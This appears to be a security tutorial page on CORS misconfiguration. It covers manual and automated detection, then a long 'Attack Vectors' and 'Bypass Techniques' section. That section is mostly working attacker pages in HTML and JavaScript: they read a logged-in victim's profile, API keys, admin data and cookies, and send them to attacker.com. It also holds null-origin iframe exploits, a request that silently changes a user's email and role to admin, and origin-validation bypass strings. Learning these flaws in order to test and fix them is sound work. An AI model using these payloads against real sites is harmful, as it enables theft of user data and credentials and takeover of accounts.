CORS Misconfiguration
Cross-Origin Resource Sharing (CORS) Misconfiguration is a web security vulnerability that occurs when a web application improperly configures its CORS policy, allowing unauthorized domains to access sensitive resources. This can lead to data theft, account compromise, and unauthorized actions.
How It Works
CORS is a browser security feature that restricts web pages from making requests to a different domain than the one serving the page. When misconfigured, it can allow malicious sites to read sensitive data:
// Vulnerable CORS configuration on server
Access-Control-Allow-Origin: https://attacker.com
Access-Control-Allow-Credentials: true
// Attacker's page can now read sensitive data
fetch('https://victim-site.com/api/user', {
credentials: 'include'
}).then(r => r.json()).then(data => {
// Send stolen data to attacker
fetch('https://attacker.com/steal', {
method: 'POST',
body: JSON.stringify(data)
});
});
Detection
Manual Testing
Basic CORS Tests
Testing for CORS misconfigurations:
# Step 1: Make request with Origin header
curl -H "Origin: https://evil.com" \
https://target.com/api/user \
-v
# Step 2: Check response headers
# Look for:
Access-Control-Allow-Origin: https://evil.com
Access-Control-Allow-Credentials: true
# Step 3: If both present: Vulnerable
# Attacker domain can read response with credentials
# Step 4: Test wildcard
curl -H "Origin: https://random-domain.com" \
https://target.com/api/user \
-v
# If ACAO reflects any origin: Misconfigured
Credential Test
Testing if credentials are allowed:
# Send Origin with credentials request
curl -H "Origin: https://evil.com" \
-H "Cookie: session=abc123" \
https://target.com/api/sensitive \
-v
# Check for both headers:
Access-Control-Allow-Origin: https://evil.com
Access-Control-Allow-Credentials: true
# If both present: High severity vulnerability
# Attacker can steal data while victim is logged in
Null Origin Test
Testing null origin acceptance:
# Some apps allow null origin
curl -H "Origin: null" \
https://target.com/api/user \
-v
# Check response:
Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true
# If both present: Vulnerable
# Can be exploited via sandboxed iframe
Subdomain Test
Testing subdomain trust:
# If target.com has subdomain CORS
curl -H "Origin: https://attacker.target.com" \
https://target.com/api/user \
-v
# Or any subdomain:
curl -H "Origin: https://evil.target.com" \
https://target.com/api/user \
-v
# If ACAO reflects subdomain: Vulnerable
# Attacker who controls any subdomain can exploit
Pre-flight Request Test
Testing preflight OPTIONS request:
# OPTIONS request before actual request
curl -X OPTIONS \
-H "Origin: https://evil.com" \
-H "Access-Control-Request-Method: POST" \
-H "Access-Control-Request-Headers: Content-Type" \
https://target.com/api/update \
-v
# Check response:
Access-Control-Allow-Origin: https://evil.com
Access-Control-Allow-Methods: POST, GET, OPTIONS
Access-Control-Allow-Headers: Content-Type
Access-Control-Allow-Credentials: true
Access-Control-Max-Age: 3600
# If allows attacker origin: Vulnerable
Automated Discovery
Using Burp Suite
# Step 1: Configure Burp to test CORS
# Proxy > Options > Match and Replace
# Add rule:
# Type: Request header
# Match: ^Origin: .*
# Replace: Origin: https://evil.com
# Step 2: Browse application
# Check for ACAO headers in responses
# Step 3: Use Burp Extensions
# Install: CORS Scanner
# Install: CORScanner
# Install: Corsy
# Step 4: Send interesting requests to Repeater
# Add Origin header
# Test different origin values
Using CORScanner
# Basic scan
python cors_scan.py -u https://target.com
# Scan specific endpoint
python cors_scan.py -u https://target.com/api/user
# With authentication
python cors_scan.py -u https://target.com/api/user \
-H "Cookie: session=abc123"
# Scan from file
python cors_scan.py -i urls.txt \
-o results.json
# Advanced options
python cors_scan.py -u https://target.com \
-t 20 \
--headers "Authorization: Bearer TOKEN" \
--verbose
Using Custom Scripts
# Python CORS testing script
import requests
def test_cors(url, origin):
headers = {
'Origin': origin,
'Cookie': 'session=your_session' # If testing authenticated endpoint
}
response = requests.get(url, headers=headers)
acao = response.headers.get('Access-Control-Allow-Origin')
acac = response.headers.get('Access-Control-Allow-Credentials')
if acao and origin in acao:
if acac == 'true':
return 'VULNERABLE', f'ACAO: {acao}, ACAC: {acac}'
else:
return 'REFLECTED', f'ACAO: {acao} (no credentials)'
elif acao == '*':
if acac == 'true':
return 'INVALID', 'Wildcard with credentials (browser blocks this)'
else:
return 'WILDCARD', 'Wildcard ACAO (no credentials)'
return 'SECURE', 'No CORS misconfiguration detected'
# Test different origins
target = "https://target.com/api/user"
origins_to_test = [
"https://evil.com",
"https://attacker.target.com",
"http://target.com",
"null",
"https://target.com.evil.com"
]
for origin in origins_to_test:
status, details = test_cors(target, origin)
print(f"[{status}] Origin: {origin} - {details}")
Attack Vectors
Reflected Origin Exploit
Exploiting reflected origin headers:
<!-- Attacker's page at https://evil.com -->
<html>
<body>
<h1>Loading...</h1>
<script>
// Victim visits this page while logged into target.com
fetch('https://target.com/api/user/profile', {
credentials: 'include' // Send cookies
})
.then(response => response.json())
.then(data => {
// Steal sensitive data
console.log('Stolen data:', data);
// Send to attacker's server
fetch('https://attacker.com/collect', {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify({
victim_data: data,
cookies: document.cookie
})
});
// Optional: redirect to hide attack
setTimeout(() => {
window.location = 'https://target.com';
}, 500);
});
</script>
</body>
</html>
Null Origin Exploit
Exploiting null origin acceptance:
<!-- Null origin can be triggered via sandboxed iframe -->
<html>
<body>
<iframe sandbox="allow-scripts allow-top-navigation"
srcdoc="
<script>
fetch('https://target.com/api/user', {
credentials: 'include'
})
.then(r => r.json())
.then(data => {
// Send stolen data to parent
parent.postMessage(data, '*');
});
</script>
"></iframe>
<script>
// Receive stolen data
window.addEventListener('message', (event) => {
console.log('Stolen data:', event.data);
// Send to attacker server
fetch('https://attacker.com/collect', {
method: 'POST',
body: JSON.stringify(event.data)
});
});
</script>
</body>
</html>
Subdomain Takeover Chain
Chaining subdomain takeover with CORS:
# Step 1: Find vulnerable subdomain
# old.target.com points to deleted S3 bucket
# Step 2: Take over subdomain
# Create S3 bucket with same name
# Host malicious page
# Step 3: Exploit CORS
# If target.com allows *.target.com origins
# Your malicious page at old.target.com can:
<script>
fetch('https://target.com/api/admin', {
credentials: 'include'
})
.then(r => r.json())
.then(data => {
// Steal admin data
fetch('https://attacker.com/steal', {
method: 'POST',
body: JSON.stringify(data)
});
});
</script>
Pre-flight Bypass
Exploiting missing preflight checks:
<script>
// Simple requests don't trigger preflight
// Content-Type: text/plain doesn't trigger preflight
fetch('https://target.com/api/update', {
method: 'POST',
credentials: 'include',
headers: {
'Content-Type': 'text/plain'
},
body: JSON.stringify({
email: 'attacker@evil.com',
role: 'admin'
})
});
// If server parses JSON regardless of Content-Type
// Attack succeeds without preflight check
</script>
Credential Theft
Stealing user credentials and tokens:
// Attacker's page
<script>
// Steal user profile
fetch('https://target.com/api/user/profile', {
credentials: 'include'
})
.then(r => r.json())
.then(profile => {
// Steal API keys
return fetch('https://target.com/api/keys', {
credentials: 'include'
})
.then(r => r.json())
.then(keys => {
// Combine all stolen data
return {
profile: profile,
api_keys: keys,
cookies: document.cookie
};
});
})
.then(allData => {
// Send everything to attacker
fetch('https://attacker.com/collect', {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify(allData)
});
});
</script>
Bypass Techniques
Origin Manipulation
Bypassing origin validation:
# If validation checks for "target.com"
# Subdomain confusion
Origin: https://target.com.evil.com
Origin: https://evil.target.com
# Using @ symbol
Origin: https://target.com@evil.com
# Port manipulation
Origin: https://target.com:8080
Origin: https://target.com:443
# Protocol variation
Origin: http://target.com
Origin: https://target.com
# With path
Origin: https://target.com/any/path
# (Origin shouldn't have path, but some parsers allow it)
Null Origin Bypass
Exploiting null origin:
<!-- Method 1: Sandboxed iframe -->
<iframe sandbox="allow-scripts" srcdoc="
<script>
fetch('https://target.com/api/data', {
credentials: 'include'
}).then(r => r.json()).then(data => {
parent.postMessage(data, '*');
});
</script>
"></iframe>
<!-- Method 2: Data URI -->
<iframe src="data:text/html,
<script>
fetch('https://target.com/api/data', {
credentials: 'include'
}).then(r => r.json()).then(console.log);
</script>
"></iframe>
<!-- Method 3: File protocol (local file) -->
<!-- Save as file and open in browser -->